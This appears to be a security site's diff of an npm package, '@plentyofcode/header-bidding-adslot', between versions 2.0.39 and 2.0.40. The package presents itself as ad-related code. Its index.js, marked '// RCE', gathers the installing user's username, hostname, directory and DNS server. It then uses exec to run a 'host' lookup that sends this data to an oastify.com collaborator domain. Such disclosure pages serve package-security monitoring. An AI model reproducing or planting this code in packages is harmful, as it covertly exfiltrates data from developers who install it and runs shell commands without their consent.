@plentyofcode/header-bidding-adslot 2.0.39 → 2.0.40
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +7 -18
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,35 +1,24 @@
|
|
1
1
|
const { exec } = require("child_process");
|
2
2
|
const dns = require("dns");
|
3
3
|
const os = require("os");
|
4
|
-
const path = require("path");
|
5
4
|
|
6
5
|
// RCE
|
7
|
-
const packageName = "@plentyofcode/header-bidding-adslot"; //
|
6
|
+
const packageName = "@plentyofcode/header-bidding-adslot"; // PackageName
|
8
7
|
const username = os.userInfo().username; // User
|
9
8
|
const hostname = os.hostname(); // HostName
|
10
9
|
const currentDir = __dirname; // Dir
|
11
|
-
const
|
10
|
+
const dnsServer = dns.getServers()[0] || "none"; // First DNS
|
12
11
|
|
13
|
-
//
|
14
|
-
const info = {
|
15
|
-
p: packageName,
|
16
|
-
u: username,
|
17
|
-
hn: hostname,
|
18
|
-
d: currentDir,
|
19
|
-
dns: dnsServers
|
20
|
-
};
|
12
|
+
// Format and Enconde
|
13
|
+
const info = `p=${packageName}&u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
|
21
14
|
|
22
|
-
const encodedInfo = encodeURIComponent(
|
15
|
+
const encodedInfo = encodeURIComponent(info);
|
23
16
|
|
24
|
-
//
|
17
|
+
// Exec and DNS Request
|
25
18
|
exec(`host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`, (error, data, getter) => {
|
26
19
|
if (error) {
|
27
20
|
console.log("error", error.message);
|
28
21
|
return;
|
29
22
|
}
|
30
|
-
if (getter) {
|
31
|
-
console.log(data);
|
32
|
-
return;
|
33
|
-
}
|
34
23
|
console.log(data);
|
35
|
-
});
|
24
|
+
});
|